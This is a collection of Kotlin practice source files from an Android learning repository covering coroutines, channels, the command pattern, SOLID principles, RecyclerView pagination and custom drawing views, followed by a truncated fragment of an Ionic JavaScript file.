package com.dishant.kotlinpractices.DesignPattern.Behavioral.Command.Commands
import com.dishant.kotlinpractices.DesignPattern.Behavioral.Command.enums.Color
import com.dishant.kotlinpractices.DesignPattern.Behavioral.Command.Command
import com.dishant.kotlinpractices.DesignPattern.Behavioral.Command.Target
class PinkColorSpell : Command() {
private var target: Target? = null
override fun execute(target: Target) {
target.color =
Color.Pink
this.target = target
}
override fun undo() {
if (target != null) {
target?.color =
Color.Red
}
}
override fun redo() {
if (target != null) {
target?.color =
Color.Pink
}
}
}<file_sep>/app/src/main/java/com/dishant/kotlinpractices/coreKotlin/coroutines/KotlinCoroutines8.kt
package com.dishant.kotlinpractices.coreKotlin.coroutines
import kotlinx.coroutines.GlobalScope
import kotlinx.coroutines.delay
import kotlinx.coroutines.launch
import kotlinx.coroutines.runBlocking
// use main method function as expression
fun main() = runBlocking{ //create new coroutine that block the current main thread
println("Main program starts ${Thread.currentThread().name}") // main thread
GlobalScope.launch {// thread t1
println("fake work start ${Thread.currentThread().name}") // thread t1
delay(1000) // coroutine is suspended(paused) but thread t1 is free( not block)
println("fake working ... ${Thread.currentThread().name}")// execute in t1 or some other thread
mySuspendFun(1000)
println("fake working... ${Thread.currentThread().name}")// execute in t1 or some other thread
delay(1000)
println("fake work end ${Thread.currentThread().name}")// execute in t1 or some other thread
}
//create new coroutine that block the current main thread
delay(4000) //main thread : wait for coroutine to finish
println("Main program Ends ${Thread.currentThread().name}") //main thread
}
suspend fun mySuspendFun(time:Long){
delay(time)
}
//note : delay is suspend function and used to pause the coroutine for some time
// suspend function is not called from outside a coroutine
// GlobalScope.launch is create not blocking coroutine (means it does not block main thread)
// runBlocking is create blocking coroutine (means it block main thread)
//output
/*Main program starts main
fake work start DefaultDispatcher-worker-1
fake working ... DefaultDispatcher-worker-1
fake working... DefaultDispatcher-worker-3
fake work end DefaultDispatcher-worker-2
Main program Ends main
Process finished with exit code 0*/
<file_sep>/app/src/main/java/com/dishant/kotlinpractices/coreKotlin/coroutines/KotlinCoroutines3.kt
package com.dishant.kotlinpractices.coreKotlin.coroutines
import kotlinx.coroutines.GlobalScope
import kotlinx.coroutines.launch
fun main(){
println("Main program starts ${Thread.currentThread().name}")
GlobalScope.launch {
println("fake work start ${Thread.currentThread().name}")
Thread.sleep(1000) // whole thread block for 1s
println("fake work end ${Thread.currentThread().name}")
}
// block the current main thread & wait for coroutine to finish
// (parctically not right way to wait)
Thread.sleep(2000)
println("Main program Ends ${Thread.currentThread().name}")
}
//note : manually add sleep in main thread to complete coroutine
//output
/*Main program starts main
fake work start DefaultDispatcher-worker-2
fake work end DefaultDispatcher-worker-2
Main program Ends main
Process finished with exit code 0*/
<file_sep>/app/src/main/java/com/dishant/kotlinpractices/coreKotlin/SpacialClasses/DataClassesExample.kt
package com.dishant.kotlinpractices.coreKotlin.SpacialClasses
data class User(val name:String , val id : Int)
fun main() {
val firstUser = User("Alex" ,1)
println(firstUser)
val secondUser = User("Alex",1)
val thirdUser = User("Max",2)
println("${secondUser==firstUser}")
println("${secondUser==thirdUser}")
//Equal data class instances have equal hashcode
println(firstUser.hashCode())
println(secondUser.hashCode())
println(thirdUser.hashCode())
val fourth = firstUser.copy()
println(fourth)
println(fourth.hashCode())
//Auto generated componetN function let you get values
// of properties in the order of declaration
println("Name = ${firstUser.component1()}")
println("Id = ${firstUser.component2()}")
}
<file_sep>/app/src/main/java/com/dishant/kotlinpractices/recyclerViewDemo/utils/RecyclerViewEnum.kt
package com.dishant.kotlinpractices.recyclerViewDemo.utils
enum class RecyclerViewEnum(val value: Int) {
Empty(0),
Loading(1),
Error(2),
View(3),
PaginationLoading(4),
PaginationError(5),
PaginationExhaust(6),
}<file_sep>/app/src/main/java/com/dishant/kotlinpractices/recyclerViewDemo/viewHolder/PaginationLoadingViewHolder.kt
package com.dishant.kotlinpractices.recyclerViewDemo.viewHolder
import androidx.recyclerview.widget.RecyclerView
import com.dishant.kotlinpractices.databinding.CellPaginationloadingBinding
class PaginationLoadingViewHolder(binding : CellPaginationloadingBinding) : RecyclerView.ViewHolder(binding.root) {
}<file_sep>/app/src/main/java/com/dishant/kotlinpractices/coreKotlin/coroutines/example.kt
package com.dishant.kotlinpractices.coreKotlin.coroutines
import com.dishant.kotlinpractices.coreKotlin.SpacialClasses.User
import kotlinx.coroutines.*
fun main() = runBlocking{
//using Dispatcher.Main give error
launch(Dispatchers.Default){
fetchUserAndShow()
}
//above launch is same below both are same
// launch {
// fetchUserAndShow()
// }
println()
}
suspend fun fetchUser () :User{
return GlobalScope.async {
delay(2000)
return@async User("Dishant",1)
}.await()
}
suspend fun fetchUserAndShow(){
val user = fetchUser()
with(user){
print("name :$name id :$id")
}
}<file_sep>/app/src/main/java/com/dishant/kotlinpractices/coreKotlin/memberReference/MemberReferenceExample.kt
package com.dishant.kotlinpractices.coreKotlin.memberReference
class Student(val id : Int ,val name : String)
fun main(){
val list = arrayListOf(
Student(1,"first"),
Student(2,"second"),
Student(3,"third"),
Student(4,"fourth"),
)
// variant 1 have issue in passing reference inside lambda
println(list.map {
Student::name
})
println(list.map {
it.name
})
println(list.map(Student::name))
val lambda : (Student) -> String = {it.name}
println(list.map(lambda))
}
//output
//[property name (Kotlin reflection is not available), property name (Kotlin reflection is not available), property name (Kotlin reflection is not available), property name (Kotlin reflection is not available)]
//[first, second, third, fourth]
//[first, second, third, fourth]
//[first, second, third, fourth]<file_sep>/app/src/main/java/com/dishant/kotlinpractices/coreKotlin/scopeFuction/also.kt
package com.dishant.kotlinpractices.coreKotlin.scopeFuction
import kotlinx.coroutines.GlobalScope
import kotlinx.coroutines.delay
import kotlinx.coroutines.launch
import kotlinx.coroutines.runBlocking
data class User(var name: String, var lastname: String, var age: Int)
fun main() {
fun userCreated(user: User) {
println("new user ${user.name} created ")
}
//also return referenced object
val dishant: User = User(
"Dishant",
"patel",
26
).also {
userCreated(it)
}
print("ok $dishant")
GlobalScope.launch {
delay(1000L)
print("hello coroutine")
}
runBlocking { // but this expression blocks the main thread
delay(2000L) // ... while we delay for 2 seconds to keep JVM alive
}
}<file_sep>/app/src/main/java/com/dishant/kotlinpractices/coreKotlin/ControlFlow/EquiltyCheck.kt
package com.dishant.kotlinpractices.coreKotlin.ControlFlow
fun main() {
val writers = setOf("one", "two" , "three")
val authors = setOf("two","one","three")
//structural values compare check internal value of object and compare its value
if(writers==authors){
println("all are equal values")
}
//check the reference of object
if(writers===authors){
println(System.identityHashCode(writers))
println(System.identityHashCode(authors))
println("all are same reference")
}else{
println(System.identityHashCode(writers))
println(System.identityHashCode(authors))
println("all are not same reference")
}
val writerReference = writers
if(writers === writerReference){
println(System.identityHashCode(writers))
println(System.identityHashCode(writerReference))
println("all are same reference")
}else{
println("all are not same reference")
}
if(writers == writerReference){
println("all are equal value")
}else{
println("all are not equal value")
}
}<file_sep>/app/src/main/java/com/dishant/kotlinpractices/coreKotlin/coroutines/channels/ChannelExample1.kt
package com.dishant.kotlinpractices.coreKotlin.coroutines.channels
import kotlinx.coroutines.channels.Channel
import kotlinx.coroutines.launch
import kotlinx.coroutines.runBlocking
//Channels are communication primitives that allow passing data between different coroutine.
// one coroutine can send some information to channel, while other can receive this information from it.
fun main()= runBlocking {
val channel = Channel<String>()
//producer coroutine
launch {
channel.send("A1")
channel.send("A2")
println("A done")
}
//producer coroutine
launch {
channel.send("B1")
channel.send("B2")
println("B done")
}
launch {
repeat(4){
val valueReceived = channel.receive()
println(valueReceived)
}
}
println("Main program ends")
}<file_sep>/app/src/main/java/com/dishant/kotlinpractices/customview/PaintView.kt
package com.dishant.kotlinpractices.customview
import android.content.Context
import android.graphics.*
import android.util.AttributeSet
import android.view.MotionEvent
import android.view.View
import androidx.annotation.Nullable
import kotlinx.android.synthetic.main.activity_thread_example.view.*
import kotlin.math.abs
class PaintView(context: Context, attrs: AttributeSet) : View(context, attrs) {
private var btmBackground: Bitmap? = null
private var btmView: Bitmap? = null
private var mPaint = Paint()
private var mPath = Path()
private var colorBackground: Int = 0
private var sizeBrush: Int = 0
private var sizeEraser: Int = 0
private var mX: Float = 0f
private var mY: Float = 0f
private var canvas: Canvas? = null
private final val DEFFERENCE_SPACE = 4
private val listOfAction = mutableListOf<Bitmap>()
init {
sizeBrush = 12
sizeEraser = 12
colorBackground = Color.WHITE;
mPaint.color = Color.BLACK
//AntiAliasing smooths out the edges of what is being drawn,
// but is has no impact on the interior of the shape.
// See setDither() and setFilterBitmap() to affect how colors are treated
mPaint.isAntiAlias = true
mPaint.isDither = true
mPaint.style = Paint.Style.STROKE
mPaint.strokeCap = Paint.Cap.ROUND
mPaint.strokeJoin = Paint.Join.ROUND
mPaint.strokeWidth = toPx(sizeBrush)
}
private fun toPx(sizeBrush: Int): Float {
return sizeBrush.times(resources.displayMetrics.density)
}
//This is called during layout when the size of this view has changed.
// If you were just added to the view hierarchy, you're called with the old values of 0.
override fun onSizeChanged(w: Int, h: Int, oldw: Int, oldh: Int) {
super.onSizeChanged(w, h, oldw, oldh)
btmBackground = Bitmap.createBitmap(w, h, Bitmap.Config.ARGB_8888)
btmView = Bitmap.createBitmap(w, h, Bitmap.Config.ARGB_8888)
canvas = Canvas(btmView!!)
}
override fun onDraw(canvas: Canvas?) {
super.onDraw(canvas)
canvas?.drawColor(colorBackground)
canvas?.drawBitmap(btmBackground!!, 0f, 0f, null)
}
fun setColorBackground( color : Int){
colorBackground = color
invalidate()
}
fun setBrushSize(size : Int){
sizeBrush = size
mPaint.strokeWidth = toPx(sizeBrush)
}
fun setBrushColor(color : Int){
mPaint.color = color
}
fun setEraserSize(size: Int){
sizeEraser = size
mPaint.strokeWidth= toPx(sizeEraser)
}
fun enableEraser(){
mPaint.xfermode = PorterDuffXfermode(PorterDuff.Mode.CLEAR)
}
fun disableEraser(){
mPaint.xfermode = null
mPaint.shader = null
mPaint.maskFilter = null
}
fun addLastAction(bitmap: Bitmap){
listOfAction.add(bitmap)
}
fun returnLastAction() {
if(listOfAction.size >0){
listOfAction.removeLast()
if(listOfAction.size >0){
btmView = listOfAction[listOfAction.size -1]
}else{
btmView = Bitmap.createBitmap(width,height,Bitmap.Config.ARGB_8888)
}
canvas = Canvas(btmView!!)
invalidate()
}
}
override fun onTouchEvent(event: MotionEvent?): Boolean {
if(event==null) return false
val x = event.x
val y = event.y
when(event.action){
MotionEvent.ACTION_DOWN ->{
touchStart(x,y)
}
MotionEvent.ACTION_MOVE ->{
touchMove(x,y)
}
MotionEvent.ACTION_UP ->{
touchUp();
}
}
return super.onTouchEvent(event)
}
private fun touchUp() {
mPath.reset()
}
private fun touchMove(x: Float, y: Float) {
val dx = abs(x - mX)
val dy = abs(x - mY)
if(dx >= DEFFERENCE_SPACE || dy >= DEFFERENCE_SPACE){
//Add a quadratic bezier from the last point, approaching control point (x1,y1), and ending at (x2,y2).
// If no moveTo() call has been made for this contour, the first point is automatically set to (0,0).
mPath.quadTo(x,y,(x+mX)/2,(x+mY)/2)
mY = y
mX = x
canvas?.drawPath(mPath,mPaint)
invalidate()
}
}
private fun touchStart(x: Float, y: Float) {
mPath.moveTo(x,y)
mX = x
mY = y
}
fun getBitmap() : Bitmap{
isDrawingCacheEnabled = true
buildDrawingCache()
val bitmap = Bitmap.createBitmap(drawingCache)
isDrawingCacheEnabled = false
return bitmap;
}
}<file_sep>/app/src/main/java/com/dishant/kotlinpractices/recyclerViewDemo/utils/NetworkResponse.kt
package com.dishant.kotlinpractices.recyclerViewDemo.utils
sealed class NetworkResponse<out T> {
data class Loading (val isPaginating : Boolean = false) : NetworkResponse<Nothing>()
data class Success<out T> ( val data : T, val isPaginating: Boolean = false) : NetworkResponse<T>()
data class Failure(val errorMessage : String ,val isPaginatingError: Boolean = false) : NetworkResponse<Nothing>()
}<file_sep>/app/src/main/java/com/dishant/kotlinpractices/coreKotlin/coroutines/coroutineScope/CoroutineScopeExampel1.kt
package com.dishant.kotlinpractices.coreKotlin.coroutines.coroutineScope
import kotlinx.coroutines.async
import kotlinx.coroutines.launch
import kotlinx.coroutines.runBlocking
// Every and each coroutine has its own quick CoroutineScope
fun main() = runBlocking {
println("runBlocking : $this")
launch {
println("launch : $this")
launch {
println("child launch $this")
}
}
async {
println("async : $this ")
}
println("Some other code")
}
//output
//runBlocking : BlockingCoroutine{Active}@5abca1e0
//Some other code
//launch : StandaloneCoroutine{Active}@35d176f7
//async : DeferredCoroutine{Active}@6ebc05a6
//child launch StandaloneCoroutine{Active}@50b494a6
<file_sep>/app/src/main/java/com/dishant/kotlinpractices/coreKotlin/Funtions/InfixFunction.kt
package com.dishant.kotlinpractices.coreKotlin.Funtions
import android.media.MediaRecorder
fun main(args: Array<String>) {
println(3 time "Hello ")
val pair = "pen" to "Akshay"
println(pair)
val (obj, person) = pair
println("$person has $obj")
//Here's your own implementation of to creatively called has.
println("Akshay" has "pen")
val pen = Objects("Pen")
val book = Objects("Book")
val Akshay = Person("Akshay")
//Infix notation also works on members functions (methods).
Akshay has pen
Akshay has book
for (objcts in Akshay.hasObjects){
println(objcts.name)
}
// var MediaRecorder =MediaRecorder()
// MediaRecorder.start()
MediaRecorder.AudioSource.MIC
}
/*Infix notation
Functions marked with the infix keyword can also be called using the infix
notation (omitting the dot and the parentheses for the call).
Infix functions must satisfy the following requirements:
They must be member functions or extension functions;
They must have a single parameter;
The parameter must not accept variable number of arguments and must have no default value.*/
infix fun Int.time(str:String ) = str.repeat(this);
infix fun String.has(str: String) = "${Pair(this,str)}"
class Person(val name: String){
val hasObjects = mutableListOf<Objects>()
//The containing class becomes the first parameter.
infix fun has(other:Objects){hasObjects.add(other)}
}
class Objects(val name:String)<file_sep>/app/src/main/java/com/dishant/kotlinpractices/coreKotlin/coroutines/basic.kt
package com.dishant.kotlinpractices.coreKotlin.coroutines
import kotlinx.coroutines.*
fun main() {
GlobalScope.launch {
delay(2000L)
println("hello coroutines")
}
println("normal part line")
// Thread.sleep(4000L)
runBlocking {
delay(2000L)
}
// main2()
main3()
}
fun main2() = runBlocking {
launch {
delay(5000L)
println("hello scope")
}
}
fun main3() = runBlocking {
val job : Job = GlobalScope.launch {
println("world")
}
val job2 : Job = GlobalScope.launch {
println("hello")
}
job.join()
// job.join()
}<file_sep>/app/src/main/java/com/dishant/kotlinpractices/coreKotlin/Variables/LazyVariable.kt
package com.dishant.kotlinpractices.coreKotlin.Variables
fun main() {
val name: String by lazy {
"Dishant"
}
print(name)
}
<file_sep>/app/src/main/java/com/dishant/kotlinpractices/coreKotlin/solid/example2.kt
package com.dishant.kotlinpractices.coreKotlin.solid
import java.lang.RuntimeException
// open-close principle
// Open : This means that we can add new feature to our classes.
// When there is a new requirement, we should be add feature to our class easily
//Close : This means that the base feature of the class should not be changed.
class Rectangle{
private var length : Double? = 12.0
private var height : Double? = 8.0
fun getLength() : Double?{
return length
}
fun getHeight() : Double?{
return height
}
}
class Circle{
fun getRadius(): Double {
return radius
}
private var radius : Double = 5.0
}
class AreaFactory{
fun calculateArea(shapes : ArrayList<Any>): Double {
var area =0.0
for (shape in shapes){
if(shape is Rectangle){
val rect = shape as Rectangle
area += (rect.getLength()!!.times(rect.getHeight()!!))
}else if(shape is Circle){
val circle = shape as Circle
area += circle.getRadius().times(circle.getRadius()).times(Math.PI)
}else {
throw RuntimeException("Shape not supported")
}
}
return area
}
}
// fix above issue by add common interface in shape classes and calculate are within class without change its base code
interface Shape{
fun getArea() : Double
}
class Rectangle1 : Shape{
private var length = 12.33
private var height = 10.55
override fun getArea() : Double {
return length.times(height)
}
}
class Circle1 : Shape{
private var radius =20.99
override fun getArea(): Double {
return radius.times(radius).times(Math.PI)
}
}
class AreaFactory1{
fun calculateArea(shapes: ArrayList<Shape>): Double {
var area = 0.0
for (shape in shapes) {
area += shape.getArea()
}
return area
}
}
<file_sep>/app/src/main/java/com/dishant/kotlinpractices/recyclerViewDemo/adapter/RecyclerViewAdapter.kt
package com.dishant.kotlinpractices.recyclerViewDemo.adapter
import android.view.LayoutInflater
import android.view.ViewGroup
import androidx.recyclerview.widget.DiffUtil
import androidx.recyclerview.widget.RecyclerView
import com.dishant.kotlinpractices.databinding.*
import com.dishant.kotlinpractices.recyclerViewDemo.RecyclerViewModel
import com.dishant.kotlinpractices.recyclerViewDemo.`interface`.Interaction
import com.dishant.kotlinpractices.recyclerViewDemo.`interface`.RecyclerViewInteraction
import com.dishant.kotlinpractices.recyclerViewDemo.utils.RecyclerViewDiffUtilCallBack
import com.dishant.kotlinpractices.recyclerViewDemo.utils.RecyclerViewEnum
import com.dishant.kotlinpractices.recyclerViewDemo.viewHolder.*
class RecyclerViewAdapter(
override val interaction: Interaction<RecyclerViewModel>,
private val extraInteraction: RecyclerViewInteraction<RecyclerViewModel>
) : BaseAdapter<RecyclerViewModel>(interaction) {
override fun handleDiffUtil(newList: ArrayList<RecyclerViewModel>) {
val diffUtil = RecyclerViewDiffUtilCallBack(arrayList, newList)
val diffResult = DiffUtil.calculateDiff(diffUtil, true)
arrayList = newList.toList() as ArrayList<RecyclerViewModel>
diffResult.dispatchUpdatesTo(this)
}
override fun onCreateViewHolder(parent: ViewGroup, viewType: Int): RecyclerView.ViewHolder {
return when (viewType) {
RecyclerViewEnum.Loading.value -> LoadingViewHolder(CellLoadingBinding.inflate(
LayoutInflater.from(parent.context),
parent,false
))
RecyclerViewEnum.View.value -> ItemViewHolder(
CellItemBinding.inflate(
LayoutInflater.from(
parent.context
), parent, false
), extraInteraction
)
RecyclerViewEnum.PaginationLoading.value -> PaginationLoadingViewHolder(
CellPaginationloadingBinding.inflate(
LayoutInflater.from(
parent.context
),parent,false
)
)
RecyclerViewEnum.PaginationExhaust.value -> PaginationExhaustViewHolder(
CellPaginationExhaustBinding.inflate(
LayoutInflater.from(
parent.context
),parent,false
)
)
RecyclerViewEnum.Error.value -> ErrorItemViewHolder(
CellErrorBinding.inflate(
LayoutInflater.from(parent.context),parent,false
)
)
else -> EmptyViewHolder(
CellEmptyBinding.inflate(
LayoutInflater.from(parent.context),
parent,
false
)
)
}
}
}<file_sep>/app/src/main/java/com/dishant/kotlinpractices/coreKotlin/delegate/TrimDelegate.kt
package com.dishant.kotlinpractices.coreKotlin.delegate
import kotlin.properties.ReadWriteProperty
import kotlin.reflect.KProperty
class TrimDelegate : ReadWriteProperty<Any?,String>{
private var trimValue = ""
override fun getValue(thisRef: Any?, property: KProperty<*>): String {
return trimValue
}
override fun setValue(thisRef: Any?, property: KProperty<*>, value: String) {
trimValue =value.trim()
}
}<file_sep>/app/src/main/java/com/dishant/kotlinpractices/coreKotlin/coroutines/suspending/suspendingExample4.kt
package com.dishant.kotlinpractices.coreKotlin.coroutines.suspending
import kotlinx.coroutines.*
import kotlin.system.measureTimeMillis
// Structured concurrency with async
fun main() = runBlocking{
val time = measureTimeMillis {
println("The answer is ${concurrentSum()} ")
}
newSingleThreadContext("context1").use {
}
println("Main program ends in $time ms")
}
suspend fun concurrentSum() : Int = coroutineScope {
val one = async { doSomethingUsefulOne() }
val two = async { doSomethingUsefulTwo() }
one.await() + two.await()
}
suspend fun doSomethingUsefulOne() : Int{
delay(1000L)
return 13;
}
suspend fun doSomethingUsefulTwo() : Int{
delay(1000L)
return 42;
}
<file_sep>/app/src/main/java/com/dishant/kotlinpractices/coreKotlin/coroutines/timeouts/timeOutExample2.kt
package com.dishant.kotlinpractices.coreKotlin.coroutines.timeouts
import kotlinx.coroutines.TimeoutCancellationException
import kotlinx.coroutines.delay
import kotlinx.coroutines.runBlocking
import kotlinx.coroutines.withTimeout
// handle timeout exception
fun main() = runBlocking {
println("Main program starts ${Thread.currentThread().name}")
withTimeout(2000){
try {
for(i in 0..300){
print("$i.")
delay(100)
}
} catch (e: TimeoutCancellationException) {
println("time out for coroutine :${e.message}")
} finally {
println("close resources")
}
}
println("Main program ends ${Thread.currentThread().name}")
}
// output
//Main program starts main
//0.1.2.3.4.5.6.7.8.9.10.11.12.13.14.15.16.17.18.19.Exception in thread "main" kotlinx.coroutines.TimeoutCancellationException: Timed out waiting for 2000 ms
//at kotlinx.coroutines.TimeoutKt.TimeoutCancellationException(Timeout.kt:184)
//at kotlinx.coroutines.TimeoutCoroutine.run(Timeout.kt:154)
//at kotlinx.coroutines.EventLoopImplBase$DelayedRunnableTask.run(EventLoop.common.kt:502)
//at kotlinx.coroutines.EventLoopImplBase.processNextEvent(EventLoop.common.kt:279)
//at kotlinx.coroutines.DefaultExecutor.run(DefaultExecutor.kt:108)
//at java.base/java.lang.Thread.run(Thread.java:829)
<file_sep>/app/src/main/java/com/dishant/kotlinpractices/recyclerViewDemo/viewmodel/MainViewModel.kt
package com.dishant.kotlinpractices.recyclerViewDemo.viewmodel
import androidx.lifecycle.LiveData
import androidx.lifecycle.MutableLiveData
import androidx.lifecycle.ViewModel
import androidx.lifecycle.ViewModelStore
import androidx.lifecycle.viewModelScope
import com.dishant.kotlinpractices.recyclerViewDemo.RecyclerViewModel
import com.dishant.kotlinpractices.recyclerViewDemo.repository.MainRepository
import com.dishant.kotlinpractices.recyclerViewDemo.utils.NetworkResponse
import com.dishant.kotlinpractices.recyclerViewDemo.utils.Operation
import kotlinx.coroutines.Dispatchers
import kotlinx.coroutines.flow.collect
import kotlinx.coroutines.launch
import kotlinx.coroutines.withContext
class MainViewModel : ViewModel() {
private val repository = MainRepository()
private val _rvList = MutableLiveData<NetworkResponse<ArrayList<RecyclerViewModel>>>()
val rvList : LiveData<NetworkResponse<ArrayList<RecyclerViewModel>>> = _rvList
private val _rvOperation = MutableLiveData<NetworkResponse<Operation<RecyclerViewModel>>>()
val rvOperation: LiveData<NetworkResponse<Operation<RecyclerViewModel>>> = _rvOperation
private var page = 1
init {
fetchData()
}
fun fetchData() = viewModelScope.launch (Dispatchers.IO){
repository.fetchData(page).collect{ state ->
withContext(Dispatchers.Main){
_rvList.value = state
if(state is NetworkResponse.Success){
page +=1
}
}
}
}
fun refreshData(){
page = 1
fetchData()
}
fun deleteData(item:RecyclerViewModel) = viewModelScope.launch(Dispatchers.IO) {
repository.deleteData(item).collect{ state ->
withContext(Dispatchers.Main){
_rvOperation.value = state
}
}
}
fun updateData(item: RecyclerViewModel) = viewModelScope.launch(Dispatchers.IO) {
repository.updateData(item).collect{ state ->
withContext(Dispatchers.Main){
_rvOperation.value = state
}
}
}
fun toggleData(item: RecyclerViewModel) = viewModelScope.launch(Dispatchers.IO) {
repository.toggleLikeData(item).collect{ state ->
withContext(Dispatchers.Main){
_rvOperation.value = state
}
}
}
fun throwError() = viewModelScope.launch(Dispatchers.Main) {
_rvList.value = NetworkResponse.Failure("Error occurred!")
}
fun exhaustPagination() = viewModelScope.launch(Dispatchers.Main) {
_rvList.value = NetworkResponse.Failure(
"Error Occurred",
isPaginatingError = true,
)
}
}<file_sep>/app/src/main/java/com/dishant/kotlinpractices/customview/CircleView.kt
package com.dishant.kotlinpractices.customview
import android.content.Context
import android.content.res.TypedArray
import android.graphics.Canvas
import android.graphics.Paint
import android.util.AttributeSet
import android.view.View
import androidx.annotation.NonNull
import androidx.annotation.Nullable
import androidx.core.content.ContextCompat
import com.dishant.kotlinpractices.R
// website link : https://proandroiddev.com/android-custom-view-level-1-67ed1c3febe1
class CircleView(context: Context, attrs: AttributeSet) : View(context, attrs) {
var paint: Paint = Paint()
var isCenter = false
var centerOfX = 0f
var centerOfY = 0f
var strokeWidth = 40f
private var radiusOfCircleView = 0F
init {
val attributeArray: TypedArray? =
context.theme.obtainStyledAttributes(attrs, R.styleable.circleView, 0, 0)
val color = attributeArray?.getColor(R.styleable.circleView_circle_background,
ContextCompat.getColor(context,android.R.color.darker_gray)) ?: android.R.color.darker_gray
paint.color = color
isCenter = attributeArray?.getBoolean(R.styleable.circleView_onCenter , false) ?: false
radiusOfCircleView = attributeArray?.getDimension(R.styleable.circleView_circle_radius,0f) ?: 0f
paint.strokeWidth = strokeWidth
paint.isAntiAlias = true
paint.isDither = true
paint.strokeCap = Paint.Cap.ROUND
paint.strokeJoin = Paint.Join.BEVEL
paint.style = Paint.Style.STROKE
}
override fun onDraw(canvas: Canvas?) {
if(isCenter){
centerOfX = (width/2).toFloat()
centerOfY = (height/2).toFloat()
}else{
centerOfX = radiusOfCircleView + strokeWidth
centerOfY = radiusOfCircleView + strokeWidth
}
if(radiusOfCircleView == 0f){
radiusOfCircleView = if(width > height){
(height/2).toFloat() - strokeWidth
}else{
(width/2).toFloat() - strokeWidth
}
}
canvas?.drawCircle(centerOfX, centerOfY, radiusOfCircleView, paint)
canvas?.drawLine(0f + 50,0f+50, width.toFloat() - 50, height.toFloat() - 50 , paint)
canvas?.drawLine(0f + 50 ,height.toFloat()-50, width.toFloat() -50 , 0f + 50 , paint)
super.onDraw(canvas)
}
}<file_sep>/app/src/main/java/com/dishant/kotlinpractices/recyclerViewDemo/viewHolder/BaseViewHolderInterfaces.kt
package com.dishant.kotlinpractices.recyclerViewDemo.viewHolder
import com.dishant.kotlinpractices.recyclerViewDemo.`interface`.Interaction
interface ItemViewHolderBind<T>{
fun bind(item : T, position: Int, interaction: Interaction<T>)
}
interface ErrorViewHolderBind<T>{
fun bind(errorMessage:String? , interaction: Interaction<T>)
}
interface PaginationExhaustViewBind<T>{
fun bind(interaction: Interaction<T>)
}<file_sep>/app/src/main/java/com/dishant/kotlinpractices/coreKotlin/solid/example3.kt
package com.dishant.kotlinpractices.coreKotlin.solid
// LisKov Substitution Principle
abstract class Vehicle{
protected var isEngineWorking = false
abstract fun startEngine()
abstract fun stopEngine()
abstract fun moveForward()
abstract fun moveBack()
}
class Car : Vehicle() {
override fun startEngine() {
println("Engine start")
isEngineWorking = true
}
override fun stopEngine() {
println("Engine stopped")
isEngineWorking = false
}
override fun moveForward() {
println("Moving Forward")
}
override fun moveBack() {
println("Moving back")
}
}
class Bicycle : Vehicle(){
override fun startEngine() {
TODO("Not yet implemented")
}
override fun stopEngine() {
TODO("Not yet implemented")
}
override fun moveForward() {
println("Move Forward")
}
override fun moveBack() {
println("Move Back")
}
}
// Bicycle is not implemented all method of super class method
// solution
abstract class Vehicle1 {
abstract fun moveForward()
abstract fun moveBack()
}
abstract class Vehicle1WithEngine : Vehicle1(){
protected var isEngineWorking = false
abstract fun startEngine()
abstract fun stopEngine()
}
class car1 : Vehicle1WithEngine(){
override fun startEngine() {
isEngineWorking = true
}
override fun stopEngine() {
isEngineWorking = false
}
override fun moveForward() {
println("Move Forward")
}
override fun moveBack() {
println("Move Back")
}
}
class Bicycle1 : Vehicle1(){
override fun moveForward() {
println("move forward")
}
override fun moveBack() {
println("move back")
}
}<file_sep>/app/src/main/java/com/dishant/kotlinpractices/coreKotlin/NullCheck/NullCheckExample.kt
package com.dishant.kotlinpractices.coreKotlin.NullCheck
fun main(args: Array<String>) {
//non-null variable
var neverNull:String = "This cannot be null"
//null can not be a value of non-null
// neverNull =null
var nullable:String? =" This can be null"
nullable = null
var inferredNonNull = " The compiler assume non-null"
//null can not be a value of non-null
//inferredNonNull = null
stringLength("ok")
//null can not be a value of non-null
//stringLength(null)
val dec = describeString("hello india.")
println(dec)
}
fun stringLength(notNull:String): Int {
return notNull.length
}
fun describeString(maybeNull : String?): String {
if(maybeNull !=null && maybeNull.isNotEmpty()){
return "String of length ${maybeNull.length}"
}else{
return "Empty or Null String"
}
}
<file_sep>/app/src/main/java/com/dishant/kotlinpractices/recyclerViewDemo/viewHolder/ErrorItemViewHolder.kt
package com.dishant.kotlinpractices.recyclerViewDemo.viewHolder
import androidx.recyclerview.widget.RecyclerView
import com.dishant.kotlinpractices.databinding.CellErrorBinding
import com.dishant.kotlinpractices.recyclerViewDemo.RecyclerViewModel
import com.dishant.kotlinpractices.recyclerViewDemo.`interface`.Interaction
class ErrorItemViewHolder(private val binding: CellErrorBinding) :
RecyclerView.ViewHolder(binding.root), ErrorViewHolderBind<RecyclerViewModel> {
override fun bind(errorMessage: String?, interaction: Interaction<RecyclerViewModel>) {
binding.errorTxt.text = errorMessage
binding.refreshBtn.setOnClickListener {
interaction.onErrorRefreshPressed()
}
}
}<file_sep>/app/src/main/java/com/dishant/kotlinpractices/coreKotlin/coroutines/KotlinCoroutines9.kt
package com.dishant.kotlinpractices.coreKotlin.coroutines
import kotlinx.coroutines.*
// use main method function as expression
fun main() = runBlocking { //create new coroutine that block the current main thread
println("Main program starts ${Thread.currentThread().name}") // main thread
//launch acquire runBlocking scope/thread
val job: Job = launch {// launch a new coroutine in the scope of runBlocking
println("fake work start ${Thread.currentThread().name}") // thread main
delay(1000) // coroutine is suspended(paused) but thread main is free( not block)
println("fake working ... ${Thread.currentThread().name}")// thread main
delay(1000)
println("fake working... ${Thread.currentThread().name}")// thread main
delay(1000)
println("fake work end ${Thread.currentThread().name}")// thread main
}
// delay(4000) //main thread : wait for coroutine to finish
job.join()
println("Main program Ends ${Thread.currentThread().name}") //main thread
}
//note : delay is suspend function and used to pause the coroutine for some time
// suspend function is not called from outside a coroutine
//launch function....
// launch a new coroutine without blocking the current thread
// -- >inherits the thread & coroutine scope of immediate parent coroutine
// -- >returns a reference to the Job object
// -- >using Job object we can cancel the coroutine or wait for finish coroutine
// runBlocking is create blocking coroutine (means it block main thread)
//output
/*Main program starts main
fake work start main
fake working ... main
fake working... main
fake work end main
Main program Ends main
Process finished with exit code 0*/
| 2717fb1316c051093edb863246ac046917806e71 | [
"Java",
"Kotlin",
"Gradle"
] | 113 | Kotlin | Dishant624/KotlinPractices | a703c2aa631f6114cbac1eb4364bff0d9dc6103d | 23f9889ec2e82a6e6b9caab45a4c91ab1b8a35b5 |
refs/heads/master | <repo_name>asalinasj/IonicMyPlaces<file_sep>/www/js/controllers/backdrop.js
var app = angular.module('starter', ['ionic']);
//not working, correct syntax but not able to run on its own file
app.controller('newCtrl', function($scope, $ionicBackdrop, $timeout) {
